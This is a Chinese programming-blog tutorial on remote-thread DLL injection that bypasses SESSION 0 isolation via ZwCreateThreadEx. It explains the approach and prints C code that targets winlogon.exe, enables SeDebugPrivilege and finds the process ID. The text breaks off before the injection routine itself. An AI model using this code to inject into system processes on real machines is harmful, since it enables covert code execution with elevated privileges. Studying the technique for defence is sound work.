突破SESSION 0隔离的远程线程注入

本文主要是介绍突破SESSION 0隔离的远程线程注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

  与传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一区别在于,突破 SESSION 0 远线程注 入技术是使用比 CreateRemoteThread 函数更为底层的 ZwCreateThreadEx 函数来创建远线程,而具体的远线程注入原理是相同的。

  SESSION 机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。在使用 CreateRemoteThread 执行远线程创建的时候,会调用底层函数ZwCreateThreadEx函数执行创建远程线程,在进行服务进程的注入的时候, ZwCreatedThreadEx 的参数 CreateSuspended(也就是 CreatedThread 标志位)一直为1,这也就直接导致注入的线程一直处于挂起状态,无法运行。

过程:

  • 基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
  • 获取要注入的目标进程的 PID
  • 执行注入操作
  • 执行注入操作使用函数 ZwCreateRemoteThreadEx
#include<stdio.h>
#include<Windows.h>
#include<Tlhelp32.h>
#include <tchar.h>
#define DestProc _T("winlogon.exe")  //要注入的Session 0的进程,截屏进程

//提升为调试权限
BOOL SunEnableDebugPrivilege(BOOL IsEnable)        //IsEnable为TURE就是升成xx权限,而FALES为收回权限
{
    BOOL IsOk = FALSE;
    HANDLE TokenHandle;

    //打开当前进程,获取其令牌句柄,用于调整权限
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
    {
        TOKEN_PRIVILEGES TokenPrivileges;        //定义调整权限的填充值

        TokenPrivileges.PrivilegeCount = 1;        //要调整权限的数量
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid);        //查询xx权限对应的id Luid 
        TokenPrivileges.Privileges[0].Attributes = IsEnable ? SE_PRIVILEGE_ENABLED : 0;        //三目运算,IsEnable为TURE就取SE_PRIVILEGE_ENABLED,而FALES为0
        AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);        //调整进程权限
        IsOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(TokenHandle);
    }
    return IsOk;
}

// char双字转char单字
BOOL SunUnicodeToAnsi(WCHAR* WideString, char** MultiByteString)
{

    DWORD MultiByteStringLength;

    if (!WideString)
    {
        return FALSE;
    }

    MultiByteStringLength = WideCharToMultiByte(CP_ACP,
        WC_COMPOSITECHECK,
        WideString, -1, NULL, 0, NULL, NULL);

    *MultiByteString = (char*)malloc(MultiByteStringLength * sizeof(CHAR));
    if (*MultiByteString == NULL)
    {
        return FALSE;
    }
    WideCharToMultiByte(CP_ACP,
        WC_COMPOSITECHECK,
        WideString, -1, *MultiByteString, MultiByteStringLength, NULL, NULL);

    return TRUE;

}

// 枚举进程,找到目标进程
BOOL GetProcessIDByName(TCHAR *name, PDWORD pid)
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//拍进程快照
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    {
        printf("CreateToolhelp32Snapshot Error :%d", GetLastError());
    }
    BOOL Ret = Process32First(hProcessSnap, &pe32);//枚举快照
    while (Ret)
    {
        SIZE_T len = _tcslen(pe32.szExeFile);
        if (!_tcscmp(pe32.szExeFile,name))
        {
            *pid = pe32.th32ProcessID;    // 得到目标进的Pid
            break;
        }
        Ret = Process32Next(hProcessSnap, &pe32);//下一进程信息
    }
    return TRUE;
